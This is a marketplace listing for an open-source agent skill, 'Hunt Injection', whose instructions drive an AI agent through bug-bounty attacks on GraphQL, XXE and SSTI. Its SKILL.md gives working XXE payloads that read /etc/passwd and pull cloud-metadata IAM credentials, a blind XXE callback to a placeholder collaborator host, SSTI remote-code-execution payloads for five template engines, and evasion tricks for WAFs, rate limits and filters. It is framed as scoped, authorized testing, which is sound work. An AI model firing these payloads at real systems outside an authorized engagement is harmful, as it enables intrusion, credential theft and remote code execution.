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Hunt Injection

Community
Encod3d-Sec
hunt-injection

GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. OOB-mandatory for blind XXE. Wiki-first, FIND schema output.

Overview

PublisherEncod3d-Sec
RepositoryTORCH
Skill namehunt-injection
Stars
334
Forks
48
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by Encod3d-Sec on GitHub. Read the source before you install it.

Installation

Install the Hunt Injection AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injection
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git /tmp/TORCH
mkdir -p .claude/skills
cp -r /tmp/TORCH/skills/hunt/hunt-injection .claude/skills/hunt-injection
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Injection in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Injection on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Injection is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Hunt: GraphQL / XXE / SSTI

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "SSTI XXE GraphQL injection template injection XML external entity" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[ssti]]. Payload arsenals: wiki/payloads/{ssti,xxe,graphql,xslt}.md. Anchors: [[xxe]], [[graphql-attacks]], [[xslt-injection]] (server-side XSLT injection, payloads [[xslt]]).


GRAPHQL

Signals

/graphql  /api/graphql  /v1/graphql  /query  /gql
POST requests with {"query": "..."} body in Burp history
"apollo", "ApolloClient", "gql`" in JS bundles

Methodology

  1. Test introspection:
bash
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'

If blocked, try: {"query":"{ __typename }"}

  1. Use InQL (Burp extension) or graphql-voyager to map schema. Push load-bearing queries/mutations to Burp Repeater (Skill(hunt-burp) / the Burp MCP) so the operator can replay them.
  2. Find REST/GraphQL overlap - resources modifiable via BOTH APIs
  3. Test IDOR: replay queries/mutations with another user's object IDs
  4. Test authorization: lower-privilege user calling admin mutations
  5. Test for persistent privilege after REST revokes access - GraphQL re-grants?

Evasion

Introspection disabled -> {"query":"{ __typename }"} confirms GraphQL is live; then field-suggestion mining (typo a field, the error often names valid ones), alias-based enumeration for parallel object access, and query batching (array body) to bypass per-request rate limits and some auth checks.


XXE

Attack Surface (ranked)

/upload  /import  /parse  /convert  /saml/acs  /soap/*
Content-Type: application/xml or text/xml
SVG, DOCX, XLSX, PPTX file upload features

Rank: SAML ACS and document/office upload converters first (parsers there routinely resolve external entities), then any endpoint you can flip to Content-Type: application/xml.

Classic File Read

xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

Blind OOB (when no reflection)

xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR_COLLAB/xxe?x="> %xxe;
]>
<root>test</root>

SVG Upload XXE

xml
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

XXE -> SSRF

xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

Evasion

XML/DTD rejected -> switch vector (SVG/DOCX/XLSX/PPTX upload, or a Content-Type: application/xml swap on a JSON endpoint), UTF-16/UTF-7 re-encode the payload, wrap the leaked file through php://filter/convert.base64-encode/resource= for binary/PHP source, and use parameter entities + an external DTD when the inline DOCTYPE is blocked.


SSTI

Detection Probes (try all - different engines respond to different syntax)

{{7*7}}      -> 49 = Jinja2 / Twig
${7*7}       -> 49 = Freemarker / Velocity / SpEL
<%= 7*7 %>   -> 49 = ERB (Ruby)
#{7*7}       -> 49 = Mako
*{7*7}       -> 49 = Spring Thymeleaf
{{7*'7'}}    -> 7777777 = Jinja2 (not Twig)

RCE Payloads (after fingerprinting engine)

python
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# ERB (Ruby)
<%= `id` %>

# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

# Spring Thymeleaf SpEL
*{T(java.lang.Runtime).getRuntime().exec('id')}

Prove RCE with a harmless command (id / whoami) first - as the payloads above do. Never lead with a destructive command to demonstrate execution.

Where to Test (ranked)

Highest yield first: PDF/invoice generators and email-template fields (server-side render by design), then name/bio/description fields, invoice names, search queries reflected in results, URL path parameters, and HTTP headers reflected in responses.

Evasion

{{7*7}} filtered or returned literally -> cycle every engine syntax above, then bypass keyword filters via attribute-access variants (request["application"] vs request.application), string concatenation to rebuild blocked names, and hex/unicode escapes. WAF on __class__ -> |attr('__class__').


Chaining

  • SSTI -> RCE. Evaluation confirmed -> escalate to command execution with the engine payload above (safe command first). For sandbox-escape gadget chains and OOB-blind RCE, hand off to hunt-rce.
  • XXE -> SSRF / file read. Point the external entity at http://169.254.169.254/... for cloud metadata or an internal service; for the full SSRF surface (redirect bypass, protocol smuggling, Collaborator-gated blind) hand off to hunt-ssrf. File read escalates to source/config disclosure and, through those, to further creds.
  • GraphQL IDOR / auth bypass -> object enumeration. Nested-resolver and node(id:) traversal are IDOR - hand off to hunt-idor (two-account method) or hunt-api (BOLA/BFLA, mass assignment, batching).

Confirmation gate

Per hunt-core. Reproduce every claim in a clean session before scaffolding a FIND; a response body on its own is not proof.

SSTI - NOT confirmation: a {{7*7}} (or ${7*7} / <%= 7*7 %>) reflected back literally as {{7*7}}; an error naming the template engine; input echoed unchanged. SSTI - IS confirmation: the expression is evaluated - {{7*7}} renders 49, {{7*'7'}} renders 7777777, or a rendered object comes back (e.g. a dumped config object). RCE is confirmed only when a safe command (id / whoami) returns its real output.

XXE - NOT confirmation: a parser error, a 500, or "entity not allowed" - these prove XML is parsed, not that the entity resolved. XXE - IS confirmation: the external entity resolves to real content - /etc/passwd (or metadata creds) reflected in the response, OR an out-of-band callback.

Blind XXE / blind SSTI need an OOB HIT. When you plant a blind/OOB payload (parameter-entity XXE, or SSTI with no reflected sink), fire it at your own interactsh/Collaborator listener and append a row to targets/<eng>/oob.md:

| <token> | <sink url+param> | xxe | <date> | waiting | |

(columns: token | sink | class | planted | status | source; token = your unique interactsh/Collaborator label). The recon-capture hook flips the row waiting -> HIT on the incoming callback and SessionStart surfaces HITs; that HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind XXE (or blind SSTI) without a HIT row.

Severity

ConfirmedSeverity
SSTI -> RCEcritical
SSTI, sandboxed (no RCE)medium
XXE file readhigh (critical if cloud-metadata creds retrieved)
XXE -> SSRFhigh
GraphQL IDOR / auth bypasshigh

Distill when confirmed (GENERIC, no client host): python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssti.md (XXE -> techniques/web/xxe.md; GraphQL -> techniques/web/graphql-attacks.md).

Deadends

Append: - [ ] XXE on <host> -- XML rejected (JSON-only), SVG sanitized, parameter entities blocked;
              SSTI -- {{7*7}} literal across all engines; GraphQL -- introspection off, no field suggestions

Record what you tried, not just that it failed. The next pass needs the boundary.

Frequently asked questions

What does the Hunt Injection AI skill do?

GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. OOB-mandatory for blind XXE. Wiki-first, FIND schema output.

Why use Hunt Injection on TypingMind?

Because you install it once and use it with any model. Hunt Injection is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Injection in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injection. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Injection?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Injection?

As many as you like. As long as a model supports skills, you can use Hunt Injection with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Injection AI skill free?

Yes. It is published on GitHub by Encod3d-Sec under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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